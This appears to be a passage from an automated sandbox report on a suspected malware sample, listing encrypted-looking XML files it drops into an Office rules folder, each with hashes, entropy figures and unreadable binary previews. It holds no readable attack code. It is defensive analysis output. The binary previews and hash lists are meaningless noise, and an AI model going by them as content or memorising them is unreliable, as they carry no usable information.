Preview:	<?xml..l.UoTg.,.{..S..j.Q..5.m....$fqz....~E.+...r.......S..Zv...v..K.~...H8._Y...X.N1.c..l.].^....wM@......}..b.....m....i.<KIpL.S[_U_z..lez.<M.....gy..X`!=...V..P.'..\.... r:dHk.oKT....".i}k..f...G...RmMs..I..&.....T.}.".....].`V.r.>H...!s....ae..Tl.}.^..C..../._'.&..$..5...y..V.......1)...?.-I."..6...d.;D&..Y.B=M_....]...hC.\0k+K.w\|9...k.....E....K&Y..P#..9.IUf\|W02...@7..h...\|.uS...j.?......n..$...'......./.W...._..y.........>io.j..7. Iq...Y_DF\..p...J.*....O_..wwD...M.k4gS...+....aj......2E..RQ.....\..@...+Q.......=gR..Y...\&.0.\|....&E.5..N<........y]..M.......`.E6t..3.."d...7:R.......F.}..7..[..Q..VP.{..N..>........9t....g....h..P.\r:.....t...a.].[..tu.G..!z...OU....+,{.H..<Pi].z..e...7m7pO.F.UB..%?.I!d.i..q..W....>....'.].....9:...e..R..j!..S.v.vL..%.I....}D.Zj.Y.=...."}.Wev..-.......K..k.&.G..N.1.e...........q...n...K..0....J9.F...N.0.w...X..a...E..(._.5@R3Y.z-...8.J..O...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.850305189704749
Encrypted:	false
SSDEEP:	24:gbiJ7hrCfMQ4zPrDlXBABZ4gWR/7YlZwra0JMqqQkkwbD:gbS7hrbbQLa/7YlZRuLGkqD
MD5:	C070D2743D152F931F2B63B64A42B97D
SHA1:	7EA3214A274E7E62EC8BACE480AD8F152B3ABFAE
SHA-256:	22950803B5F8440D53D20FC73DDD9F748993F5059DD162B250DA29B7B5E7264E
SHA-512:	A211056E19A4BF988253ED7A82F29402615795AC1A033E415379E768FD2D44C1B18E88577A3491735EDD90A5F37E9E5031321BB9227E12987A5A6349F4C2D73B
Malicious:	false
Preview:	<?xml]...:.....h/X..G....x..o%.(...a..<u?..8I..7...;`../..Ga:1#=v>K;.............o....?'.--..`..+gx..-...+F..=.B.B:.X[d.o..S..m..Dr...6..$...AE.!.G ..1'..7.kf......?aT..~..9......WS..AA....T[K...!I,N....l.w...?.J.v..U0..0.yXW...G.b...4....):.')../..SkbV.....Z...\..."....&.Scv#=70.b....C/&.o..c.f.otF.\.W..fr[.bX.a...r:DJd)....E.}@..'}u/"o..A".Z.n.F.a+........C..n....I7H....}:..u.S[.l.x..M7..q=.5..Zr.9..B.....m=.wO[&.{9......fp.^7.ql...w.M...@.'.;...A._]8Z6.I.WT_.....E2..l.w./Rn.-(..-MVZ.I..A._vA.,.&....V..X.!.t;.....(/......)X%.b......>...y...7V1Y.Rbpb4.\|=%..e..a.Pe.8...N.%J..e....q.......Z\.`A>k.-]D..r.......J....&Z.VQ....+.6.i.<.w....0...(..iM....:...Fy.c\'.$k;..f..l.L...)...{,k....0..z...W.>.M...1Do.[....%...a...Uv..?^.,..]..\|...#.WU0..)..;....O......s..DY.dbc<0J.7..R......MY._..k.....L.......@...H..8......A.......O.......a....L...XZP...T.[.p._. Y.[..S.....;J...........>..P....."N............RpS.5.J.p...1..U..S..7..5...N.3...."$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7656872159034505
Encrypted:	false
SSDEEP:	24:qu0gfpdTg6X4U04ui8HBtTIhLGgeTh9bD:IMNot1i8xN9D
MD5:	B1921CF4590CF414DF4BEE0738015143
SHA1:	D5500AD528CE1D4A66300ADF7084F922043FE9F8
SHA-256:	FFA9EC7BBD6D128D7281CDF9FE4F02B0B516A8C393C45AE7A385AE8D7C5AED40
SHA-512:	6DE396330C86B7A57245E604A0266F7DD78BB6580B4E7A5B610DC094EAA1216A31FC1A35D357C3F66E0E48DC347B84AEE102CBAFC8AF2AAC4C4210EAF868AA14
Malicious:	false
Preview:	<?xml~..s...\|.4..+#..8.....o...g..F..5{{..K\|z.Ze}..m..Up[...........Sot.QW&..y...nb.G5 j...f.........o...\|..E..k.....r.!T.0Z1...B.....(`.\|.O9L.d.?..$\.I.s...c.8..y..j^/........P.}..r..k...E.?.9..w...@zH..x...E.b.. Z...:. ...\.<....I.)..h.E.....O\|i.(.E&0..pT@..%...p.k.m.d....uJ...\|(..C'..\...09.........T>..........0.HVC....3.kt..\....S.T'..G.....P.'.s^..1.._.......X..}.+.i!....:....?1]gi.2A.zw...N.iY.K...r#xv.,]o.9..pjc.W.._..8`..0.....?1Y<.=.@...Cq`.<r/.l`.@.?&.\|&G....2.L3.....V.s:.,.A.l..~.B.;.....o9.8../.<X.t/U....R..!...3v.#.....\|...e.$3.~\|..d<s,?n...y..K2"D.........-L2..w.kv.......eX.u.....:=^.-......./"g.cL.EM...'.PC......S$%...s7.....i..P..5...~t.1.L3W...k.bS....(..=...b...z2H.7f...=..>Z.t.....@..e....F~B........b....&.E..0o9}..I.t.MU,n*0.M...K.N..h.P.@).I..\.&.gn.FSr.,.\..7Y.g%GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.787158585266447
Encrypted:	false
SSDEEP:	24:PFWDgED9CUhxJSJ5Ex2tsx9NQTcIuabebD:PFcJCkgJ5Yyy9NQT2ND
MD5:	4AEA066E3BC85E00DC2CDE9B5E0C706E
SHA1:	3B09605F562A68CF4F0E86B67BA261E29A805EF4
SHA-256:	34B2954F03D63424558F4C3FD7DF5CA54BB43C7E1FD141B7BC117F077E2142A3
SHA-512:	DBA94F704E926702607CDB38622B1B9D616FDAD6F29EAAD531FED460E0736C1F8ABBC377BDC54B710273C76DD5ED2DB2275057D323B65870ED932195CD93F11C
Malicious:	false
Preview:	<?xml..zL...%.0.mUS1..<x.c..fM.[.3k...w\|K.4..._SB..s....;.Yq..a......W.....a8.X...a<..DRb.Yj..8.......R..J..+......."...u..........?GJXy.!.S.#%;...1..5.,Y2....hF.k....ZD..Y...iK...l.ZeG.N..E...G..Lw..x.....'...!.a...~w...+.\|E7..%...-.....O.:.bo->LHy.j...../..G".m...$.u...,......{@......u./'.O..H....).3....}d.&..Y}.N....c.)... ....'..B.....T[.i.."..M...}.......`."....J......)#.a..te-..J..V%d..D.e.ZT../....V.0..m...mt.F<\.~.M..s...[....9..7n.C..Q...2km~cvl.k......S.4.U...e.~/(...m.V....n.9........Sb...:Vb....?.<.ha..;;K.:k...=....v....M.!..02....c#.S...d.9h..t...N....Q0Q.`......;z............l.N...c.0.{.1.E]i.W<.z.T ..(.]..[..#..6...WO66q8...E@CRL...(v....>C/..Q...#".h3".+.\....\.....gx.......}...i.2..?B%...$...Gr..^.!<...prj}."XDu+y...J;..C..G...\|....^.....V....v9.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.799226905381497
Encrypted:	false
SSDEEP:	24:PwoVkh7nbfQL0eHmudIJnLXX6QT/S+CPfGRBXdsnbD:PwoVc7nbYI4dIJ76UwHGBibD
MD5:	2A762B63054E67FF9FB861D9217FA8FA
SHA1:	EF78D1B6DFB781A7EA906A34651396A53A5E21D4
SHA-256:	BBF90AA6D9FA4B2CDC3870EBD3F526C933E04180858A7E87E55D372EF35D864B
SHA-512:	145F7398C09DB73498CE3CF9EF551C904F705A9044604687B171C4D5F1AAC8CA39D9A91FF80AB58A5C92707D69C9271304D41B3AB52EF479C9DE6662CE222B9D
Malicious:	false
Preview:	<?xml....o.;K..TI......?U.Uf.+..2g.....#.QU...^U.G..Xc..._ .E@j.B....},..4...+..).6P...^..Ut/\|k.2.h..H&O.....6.w....K..f..\.b,.y.CH w...r....n.U.{y..I]I"r.y..3..C. T..._M..D.Y.B.S...-..r.]S..Gir...m...W..!.P...X.."I...O.j......'BB....f.H+.XJ...m.=..$......om@.7van.K...wO.Yw..k...<..u....2;.".k.%...N....dW..].O.....Lv..._.".T.........T......Z.A..2P....)x../..{4...Q....H..!.7.......-.}.p...Z.....X_...gZ..twt<7....K.w.=.q#..d..ke.BZ.=\|..x...6....].fj..........g.i.....O._v.t.M.AV...E...0.......k...Z%..uC.#.!...v.fs...m.....F..I....\|..#..3a.ij.;..B!..5.y.`..}.&Wj.....L....i.....K8.XH}......E.m.........v..e...z......sd....>.....$..g...L..[m......@S..Mo...O.G...5&s.w.?Z!..X..S....x.`n....}.rs......M0!d3.G..<...d.7S.....U.....Z.........^.Y...\|4..X.:. .....M.6.L.....,e.n..)...TX......-v.x.].....J...B3a..(X..W.~........Uv..L_.....S5.#..K.Z..k....z.....p.H......7..>Y..Q.......N%.....W%p.G_..z._,.'p9'z.Z....k...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.7616311669763
Encrypted:	false
SSDEEP:	24:AqtkL3BnZGsOEcMhVIAzPnvtgZGVuwys5URMA4dSHMFEbD:A4yG8cMoYPvtgZGVuq5JAUSsFOD
MD5:	A5FA69BCCBAD7C3D4FF7F2C0F7640221
SHA1:	EF09ACE881228C1C9CC7805A4364C4E2EEA79522
SHA-256:	80A8A5586489C4F1670F4309CEC4B477855FB8C19413E049F4951A5C1A150C4A
SHA-512:	9CB7B7A25A829BFE4C7FEB6834F27C2C552E2F7CAD00E538225F4D6FEF5A94D63CF993F7B63F915208758B729E10A8968C960343BB7CA7CFB148516C7EF5F9F8
Malicious:	false
Preview:	<?xml}.$.V.].c.x.[......j.. .E.e..W^}......."...E].}o...u=..z.(..-..Y.RD...tRv.....h..P....C...SS2.y.Cm.=n....j....;........$,...nu./...x.....J.....~.O...{I....P.Y.w...t..uJe.C...G..R..\|..2&..j.rg.q.Nz.....=HF..*&p.uS....F..p.}.?{%.C..X..z.8..Y.......wt.N.h.l...@6......G6..O.mc....Z.........A...S.0...u.~.'.1...._\.CE.q.$U9.o.E..l.hz.._.?.N..R6.................`.......nW..c...6p[...z...~.y.vK..~4.2....?.O..0..c..r4.+..ed.........@..'....&.`.e..K....E.V[.;xq..-....2...\...6d.%3.....c...Q.{@..k.8Z.R/.A..jn.....H.=.Y....]....`Sp.....x.2d.9c..V...[...SC..}r........D...7....o..".).\|.b..c....0........G.t7..R.r.....GM..2..Fh........h.d%..........k}.(2\/B...X=.....q......e'.Z./..,...W4.3...N....0[.u...}...}6.N......[..!..+.dv\|...n..d[...g:3.!.B..c"...1R.C..Q....PoGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977970110056019
Encrypted:	false
SSDEEP:	192:zHrDhYkB4Zs5jeCpTJH9LxJJaYbonzwPTR/NUmGtEBdojCL:7hYkB45CNJd9JEYnPpy1b2
MD5:	B5F5E28ED1E55E287DB259FC374A9A27
SHA1:	557D5CAF5F253FCE1C205873F9AF035F32416CDA
SHA-256:	1F17CFD09633A7709D8B42AC86DC94D99C34683696F6FC4710CC682D7383A519
SHA-512:	CECA629DB213081FABD81163DBF59B2D655E2EA320DEB63D76BD9063994318F0B8C9AC8C720415BEB3C485046F64054E958C50524C72330AAE2D1F7CF98C7671
Malicious:	false
Preview:	<?xml....N.PC.;}.......!.u......S.u....!..u..DA...%..H..`?...0.....Y.s...M..:..../,.#q.C.f.^A....r.AN..u@....H..U..<......(J..]..q>(.U7,+.....7.>.veL....Hp..l.o.._...E....2.V.r.~.A......U...2.`U.=...I..oAB.J...\|.q&,I.HYY.{5.L.vN.........bhS.&h.XZ..7.....%.9T......py.s..2O..c?,..........u=c.0/...D..2e...........1......[o.$B../...n...M..../.G...>Qk.E.m b..:.........z7.)......<......V......M<...c.H.Af.A8.....r..._..Zr.J.....\|.......L.]\|I...m...;.h'&..gbC..].!....3......6.{..@.LX.S.....c.r......+...s.n.........(X.G.tZ..j..f..3..Q..$m.......S+Tc\|..]....RL1.......G..:9~H.u.8..r>..{.q.. .+{,!.U...'..y......-."#.1=..i.7..E....Wqk./..1.q..B..$E~.1].6.~...\..x.....y..$d.c.......Y.z[..g}K.%:../..q.f>.M...U...J.]....[..T.).\|..d..u..e.G.V5.Y(....$..../...&w..Kf. .-.B..34B~.L&[>.S.).8.j._@..........q.....X.....QZ;./...2..'.;.T......q.K.&.;.j.Z.6E(&..2.?....9..@...D#.q.v.PM?..}u'..A..U.X*)0..?.?.yH....7B.N..D.Y..:jvm.c..-l...f.F.R....]...D...rYCO..W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.839274969782468
Encrypted:	false
SSDEEP:	24:On8ReYU9+iVco+daQ6dI6mmhTudjQ8guyHdmOYxTCLxJniFXZdbD:ls9+OR+QZINYudjpcHcVCLrnkdD
MD5:	449A70102D24846F4B5C8722F8348B8B
SHA1:	BFD358E14A1E2DAA327EA6E9EAC67E0D2E1B7376
SHA-256:	2507AA6C18A8B7E98B15DDA5C4DAA052397F510796F7658DCE2D9C264CE6A3DF
SHA-512:	4A7753438DE72E5B8261359D017DC1C7F13AC0C1BE5059C1FD387BB65C3F1823E29BB382C5C53ECABC2BE920D53C78BD71E377B0645D2CD1CF9FCCA4A68CCD35
Malicious:	false
Preview:	<?xml..k^6{..2...;.n>~...].m.E..X.....'..&[..W\..?..t=.....g9>..\|..8....E...6.E0..dr...<%L...]..'Q(..v....WyV3.m..&..CKp..7...+.....$C.[oR.......H................. ...y.....I...8n.6f...5...h.`.#e..3,g..T..X%>..8...f@i.n.Zd`...r.;.d ..}.].F>pykB.A....O. .........A65...\(J~.JYK.s.CG.SmF....]5.l.g.V.+.....,w,j4.3P..s..?...:.....Y...o....CZ..l!z.....;.6.....)....2...q3U..3Z.j...g.Q..r.l.OtH.\|z29.G..i!9W,.%.{^...:.@!p..hRfV..x.S....... VY.\.pU8..B....2.....K,n.\....@\|..9.......Zh..<....ZM}k...`8hS.X.kc..L...p ZYg....j=$di.]..j.....].hM..1...g.u.K...p..B..$..)S./LN.t2Y..&?13...^9.J.O2.^X.B.r.hf..V@.w9....)#'..i.p........n.a2...l.0..-...i....o...X.....Y.........S..._...,.....A..}].U.^...rO.0.}.x..Ng'..FbK.".%M.q@.BbJ.Vo....J\.r.../>.h.../......u.7.n..4NA.@.ch-....O.H..e..@..*y.......K{....4..2...J......r.B....4j=f...5.2...q=Jb...N.hK..u..:.\|..8....r.5...~..:`.80.......B...........p.^?h....\|..!_I\.}.h......N....$x...xUo.Aa..z0S ...u~...j.QS.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.800341912773347
Encrypted:	false
SSDEEP:	24:4yaqfaHqX6/hSNKWwYu/aAJRPIaSnQW9cOzetgXEcbD:FDCHQ6q2faAJRPhST9ztD
MD5:	700B389B78EA56899E3BF935B670BFDA
SHA1:	7918C674A6ADC85FEB6DC1BDEE420949B73FFD7D
SHA-256:	C94301E9BC731A5217BFF197CFC1594EAB6CD716825704F65B2D6868890C9D9B
SHA-512:	A58D3C2C3064D37355D8CCA66A9639F6FA8EFB2EB241645D9AE85D69DF42BDEBF3D2C89D554FD94327CC89F4C998CBA01BDE9E0AF0997D636D179C0B977BAC39
Malicious:	false
Preview:	<?xml8sf...g.....3.i...g.........z...>.n.TU".."sF......2gZ~..I&.-2....t0z~,...-.\v...o:.....}wd-.......Ne........P.\|....A...5.,Q!..~ .........+m.?I.%. .7.]....../Bf+u/}~.[/.4+..$.u..LD;V....tt..x.q....."...v.9Y..........F......F=.umY._.].P..Tj...s.$..zp...Y.....s;....jl.+..".Y..p.s..l.~9.R56O....g.Q..!...kVb..0..N...M\...q2..s.%B.(..@:.p;..j[w.n.m.Y.........4Q......8M..EE.f..H>..4iV...tA.r."./.G4.....u1./.0....R.[[m&N."..........4....e.m{.Akg......C..............q.O...b.....Ci...'..{C.gx.n.+........`..rB..0K.....D..z..4..2i4lQ...........%...G.......9#..D......Q......h..(a.m.h.,WR.\.h...1......d./...z.FH...9.^P..g....~..7.U.9+.Z...f.P.c...0x.9.8....(.\.IJ...X..K...m....$R..n....v..R..h.B.....Qy..R.J..m.E.".E...y..<..i>nq.K0.%...k..c..HA.".[1/=...A;%i....#P.*C.2....!w:.........6.?k.e..V..i..!...:...i.x4.A..@O+x.;cxK}.~.5..G7..~..f..V.XU;..-TLWk6V.xG....Ey.(t..8D.7xl.:..yB.e..G.lW....0....tv...s.T........K.f.Y.9..8@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.813693927615212
Encrypted:	false
SSDEEP:	24:BNaWNEt5IyO9EcLOteW26mrBk7fWpFTsdDg1bD:mWy5Ir6QV67aFsilD
MD5:	0D0ED78A0D71C2988CD113707725713B
SHA1:	9FDB2011EFDF30E029FFB7B1DE9338033274C327
SHA-256:	90C57B02B1F8D27B81824FAA9E9E4056EC8883152C86DABE1F2242751A3B16FF
SHA-512:	8D4B9C20902118DE9797C574AEAFECB19207ED2984B6DB368795D1DDF8347779C2E5A6C8E193CBFF2D07C84906D5BA653F92886E7966A043ECAC8D2F868B5E2C
Malicious:	false
Preview:	<?xml.5..g....z\.].t..Tx...V+...1.{Ll........k..[&.)j.-.v......G.,....$.H`.?...2.Q#2~......x....../.@...1..=.H.S'f.y.K.LC....PN].w....l..7..I_....c.....R./..6.;.HL.$..VFl@..>....M.n......#...E..M...fTB(D...e.7.T..O.T.=..P.}.z.a.f1..oo.C"....Pk..... ../.-......'-A`........X."1...n.,._?.+..v....wa..Y....o.}.j....gQ.c..C.L..p...2 ....p....o...p./l\oZ..!..7...H..\|......99~"V...wW..z.4{.._.....l(<+..m{...S..S].,.p...x.<.<...M.0r.n.G\|..[iN....O.o.n}.A...`{.m.V.......]7..F`I.E..9.y._./...d.....].@...;RZs........uT.{..N. .\|1..........Si}c..e..>..:.l....C.j..1S..kB....G.1........f<....V.......9...O.....j....er....D>..Us...n.M..B...\...V\O..~\...m.bF..Q.z.9.z_....}.R.mU...^...I...=.}.C..V....8j.....B...n..{.Q..........by...-0..........1..TBS.]Z^.d@C....9.Tq..A.{...!6...3.s......c..,.#.....i..C..S.....7X.lw.i....L.Z....Sj2y..2.oGKA..j8...a[.JjQ.*?..AY..<.2v..o..M.1$.6...:.a:.....r.R.W..mr.j.-^}.s.....ad..c...S./Z.......),W.H0..fJ.;.,...pGQ9Dj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.9351252478172585
Encrypted:	false
SSDEEP:	48:8T0/yNDuTgv+ZiNqCpqhsnwhLZCrw9XokKYxYslqs0fqDoD:8T+yNvm0zp2swhLicHKYxYslRoqD0
MD5:	EDAD3FB59C238FF2FE1F2DF11F8195B1
SHA1:	765FC8D5CA0FB59E57A19B0F18BA41C0F60AA1B2
SHA-256:	E1548E52996722E37C603E0A224338EC7AFD2EAE033789A4D9CB4419FAC98EF5
SHA-512:	670BC99DE17403D2CD8300D7A04FA5876340164E74A3C533DDF8D8543BB01A6A9D9A94F335148EC7F63957DF9CE8F75C97898D062F6EBC72710492BE8B472DAD
Malicious:	false
Preview:	<?xml...e..........}.....;.A._.w@....$C...k..b..^..E,...IbB.q.5:.v#..ChO.Rxe..Kqp&....3d..;......,....fOWn=K.\|C:s..FK..../..^J.?....'..U..k^..ud.....-..Qvc...qUX.......G..!I,.C.....C...E66.\.vD.....DU...-.?.O.....>._.....V........f...>..G.}..2N.U.2C........i..P........).......:.......w?.._Y?Y.f#N..5,Y.4..3`:....[.....y..T...?/..ha}K.".-.X..&0u.4...&.y..8...).O.Q>PY9.........[Mp..e_./..X..........c.I..#z....!..D.{.G.i..,..'..".u..4.~_.UT..{XS.+..oQ........J.....x..._N.....L.....&r.L. .....v......O.cV.Ob...O.........):..K..mM._.....KS...VC[K.o@...}gC\h.'.su..........I..v."..K......A..;D.h.F.^\|$.N^u.E.Qa.f.......J..hiQ.+...xq\..tZ7....V.[...jR..B`.A..T..v..yH..!.8.m.F...-.7t.I....X..?.s..[..;....D.+.5....@.K.Fn...}....f/z...wLG........C}S....o.CQ..x.69#.Do.T1..h...[K.Z".:.C...iO.ifi...&.8........W].].8.Q.@.........QX...a..G.G...i.jV..7:.<J.W..X..}.I..>...H...m.\|.fj.V.P...(.....q..C..aoX\|.d".)#.l.-.Rn.y5J.m.......s.C.&.E..^;%W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.838660221384841
Encrypted:	false
SSDEEP:	24:pufdIK6kU/kSNfKe+55ljgi3/EthfDz6388DF3J0KXhaVOf/QCe7MgImsXVuttOs:pouK6kOrNy75tN/ofV8XyI/Q+KsFulD
MD5:	3E8D5041A321ABE6D6123704056DB40E
SHA1:	98BC2C3BE4C023F1F117734620970BA89B102CC5
SHA-256:	04A2E6A663732A78AFA0668EAD02132E619D7E1E20600F8833E53B599CA419A2
SHA-512:	5CE1ABAE2FD09CD6FE4051AA76F20022A36B792069E350642F4A0331460DC0B113243377967E0A32F9E7CDC3DBE8B73F28B53EBD584D46F4C60E07648C6D6BEE
Malicious:	false
Preview:	<?xml.n8......g.........../R.>..Xh.]....k........3...!..j.K..`..J.D..=..D.,.....^W.a.._.e..?)gH.9.y.G..,.0....EY.4;.j..). ..%...........u..k.=>.l.$e<.c.Ox..PcW..]"\|..0i...WG.a..-....u.......O.4..r...\|'.Y.J..ae{..>......a_M...z..7....,...#L.......gN......l.fm.DPYV. .C.w\Y~..sS..$@......G.z.&<....H.7H.".x.{6Kr.$..{.8`#..jk..l..]...._..up...4Vg..f..r...V...Eo.5........+.T=..`......#.).8..{....Z..~....NB......._.J...SR..~].....}.#.V..../....Z=h>.#3@. ......?..].2bH....3'I..o..8.U......G.p...F.:..C2N.Gt..%..H9...e;.`....0..b..i."..o.bg.....u..5;...Q.U.......@..).Ne...[.s...saT.L/wLs.z.Ni).T...r8.P=.\|.Lq...9.\|#.7d..o.......G...t.......SH..i.Jm....e.$.....;......._io..P/..Z...d.LvUt.0w..AH.D.d{.:...[..bYy.e.T..9B..%.5".V..7......".....J.}6...t...~...n..../..{.S..j...c..)m........\/<.dq....?.E..z-4.....Y...F.i....FTk.p..+...H...<..4F(...].Y._.${..vn..R.......2...k'...?.G......k..Q.iXc...?._\..m..v.WR0,Dc=$.o.._&....@......;..B.o'.%.s"....[.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.97570593038951
Encrypted:	false
SSDEEP:	192:by+tOMnIiR6cUXXwHSeIQyBYYVfBY0fjbVFDFARp1IM5L21RO:btOQIe7ILBY6fznFG1lkW
MD5:	4F31E99545CC5711DC7F68F989618716
SHA1:	AEA03CFA1A04B3E85B6383A2BD29E6656D85A80C
SHA-256:	00AD601A709C9BB3143616087A0A0337B99D766AA7CBDCAFBB3E9C5B3F2DED18
SHA-512:	EE961EC05EA91BA7202333534F87DCD9E92BF103058805CD5324FB8949292024809BA64BBAC3F670B60FAFE1420D6295409BA718C5ECF4DE0342D272978C12F6
Malicious:	false
Preview:	<?xml..'N...=@...e.._.....`......a._.f..B.(9X....Z..V..g.f.{,.P......j"S.6..`...H.+.../kZ..M1...3.;..?S....nk.....6..#.Gn..b...A.u[s.........=....q.?........R.....>..Z...sKZ..:......N.q...e.F..8C..IO%.=......U...V....=..e...=....w'..O.Gwd/.[^...s#.v.a.T..g........%./............}..+.s"..v.~.....Fv..=....bn.......I1.m`~...T.~...(.@/.d.}.w....;H..H.#p......&......P...B...[b.......,.f....u2%R..f...w....s...._.S...)\.#...W...eX....Y."<r5Q....7 h........3..^?.n..]..=:.S..#...{..)...p.6...z...Gp.~.. .........B..BW.9.X......O.~+..."...N#..J..$.{W.O......Ap....!Z\.E...).v..{.)....{B<.....Y..@.....I.k.%.C......&.Ze.....#......}.F..Y...'.F_......i...=0q>..Y8\4........q...z.%,....H.t..T....2.\|i.......H....7...m........y.T....m....+.....\h...O..G..n....V .Y....gL#...:......@N..\|.......4S'...@.c......5.7.G..@y....a..s.+.T.K..#.........I........-..{L9fd...5...$g..(...9..../...Y{..S..d.3...Z.`2.Lh.5.. ..o...%.-\..W..alh....B....JZN....w..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.773694518125424
Encrypted:	false
SSDEEP:	12:gHa5dQI8ExN6oQXowgF0IyBkaOtvd/+9veVqtw6pvSpXUnjibiVp7Sq4upYcii9a:Ck9Vw6by1El/GAqJEhpOVtS5bD
MD5:	A100D3A2DFD635FDD31CAAD3FA1A0F60
SHA1:	F8AA93A954051E0D39CD6461BC8A875C0B345517
SHA-256:	C98F95BB0F94D8FAEFEE96994BBBD1F0537B5F7429F37CBADF624A59557F7F88
SHA-512:	AB104EEA8E9BD05305E92DDF9F58BBE5033D44BA151E581334FA014DF1EACE2DE45F2D13E219B48AC2BE024CA0FE1DA004669808FDAEB1BF890D8F16598FA373
Malicious:	false
Preview:	<?xmlCLL.[....7..B....L........A..>.`...N..3[.C.<."...G.Sh....\$U..._..{.....-.....b.N..v.......M.h.J.W..hd.x.X.J..s.wH.h.o...eH..7.....O..\|..H....(`jz.Y..n.7....&.?8.;i.T-.^...s...K..M....(4....E...@%...K.P..Q.=.....%.e....(.b...8..G..\|).~...n..3"g..T...>d.....i..pe........f...x.z..b...#.>...-..._Rn .`.k...........U........-.w.d."3..Ht...c.y.)..G..{ U...:.N......v8.....O...hT..a.@F....1.........`....<...;..L.....j.RV...iW...=.?s...:.d...Ia...O..q6.,..2...A(..!....&hZ....VV.>.h.-..e:`..7.'..!.U..@fu!-...>...C....v.F&0gu.n......... n...@.B=t.#]..sD..Kz.G.;..........G0O...w.F......]._.^s...IfH..I.A..K.ak~.VQ...Z...^..i.erO..\|...&..........eU.?..H.h...5..o&\......T..Z/*.\|..'\.+s1.... GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.9119304189922595
Encrypted:	false
SSDEEP:	48:0O1zLfSn1tfZZ+Q+tiNvFyc/QoifJyLSyDwtWY0ydY/yD7jdCI8M8D:0OVeFgiTyc/QocJyBDrY0yhD/Zv4
MD5:	B376F28A9D929F1D64D24CAA66F2C353
SHA1:	07DCC061F8C6081136E43D88283E5597D0D8DE78
SHA-256:	BFDC4514D7432CE656D38AF0A1BA56704E2495A57B5FD3CBFCD8119B3350DF76
SHA-512:	C593CB25D8B9A4BA9F5BDDFFD702B0BC0D9B1F31B3BA48747FA64126D5D1E6B09FD3B2788954FD7926A981106AA7A520964E1DC8B6CCB325F7247062A9157CDB
Malicious:	false
